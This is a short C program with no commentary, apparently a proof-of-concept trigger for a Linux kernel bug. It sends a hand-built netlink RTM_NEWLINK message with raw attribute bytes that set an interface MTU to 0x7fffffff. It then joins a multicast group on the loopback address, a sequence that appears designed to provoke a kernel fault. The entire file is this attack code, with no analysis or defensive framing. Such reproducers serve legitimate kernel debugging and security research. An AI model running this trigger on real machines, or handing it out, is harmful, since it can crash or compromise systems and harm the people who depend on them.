#define _GNU_SOURCE 

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <sys/socket.h>
#include <linux/rtnetlink.h>
#include <netinet/in.h>
#include <arpa/inet.h>

uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
int nl_sock;
int sock;

void *build_pkt(struct nlmsghdr *hdr, struct ifinfomsg *ifinfomsg, void *attrs, int attr_len)
{
	void *payload = calloc(1, 0x1000);
	void *ptr = payload;
	hdr->nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct ifinfomsg) + attr_len;
	printf("nlmsg_len: %#x\n", hdr->nlmsg_len);
	printf("attr_len: %#x\n", attr_len);

	memcpy(ptr, hdr, sizeof(struct nlmsghdr));
	ptr += sizeof(struct nlmsghdr);
	memcpy(ptr, ifinfomsg, sizeof(struct ifinfomsg));
	ptr += sizeof(struct ifinfomsg);
	memcpy(ptr, attrs, attr_len);
	return payload;
}

int main(void)
{
	//context_setup();
	nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

	struct nlmsghdr nlmsghdr = {
		.nlmsg_len = 0,
		.nlmsg_type = RTM_NEWLINK,
		.nlmsg_flags = 0x801, // NLM_F_REQUEST | NLM_F_APPEND
		.nlmsg_seq = 0, // NL_AUTO_SEQ
		.nlmsg_pid = 0 // NL_AUTO_PID
	};

	struct ifinfomsg ifinfomsg = {
		.ifi_family = 0,
		.__ifi_pad = 0,
		.ifi_type = 0,
		.ifi_index = 0,
		.ifi_flags = 0,
		.ifi_change = 0
	};

	char attrs[] = "\x08\x00""\x1b\x00""\x00\x00\x00\x00"
				   "\x08\x00""\x04\x00""\xff\xff\xff\x7f";
	void *payload = build_pkt(&nlmsghdr, &ifinfomsg, attrs, sizeof(attrs)-1);


	send(nl_sock, payload, nlmsghdr.nlmsg_len, 0);

	sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);

	struct ip_mreq mreq;
	mreq.imr_multiaddr.s_addr = inet_addr("224.0.0.2");
	mreq.imr_interface.s_addr = inet_addr("127.0.0.1");

	setsockopt(sock, SOL_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq));

	//while(1);
	return 0;
}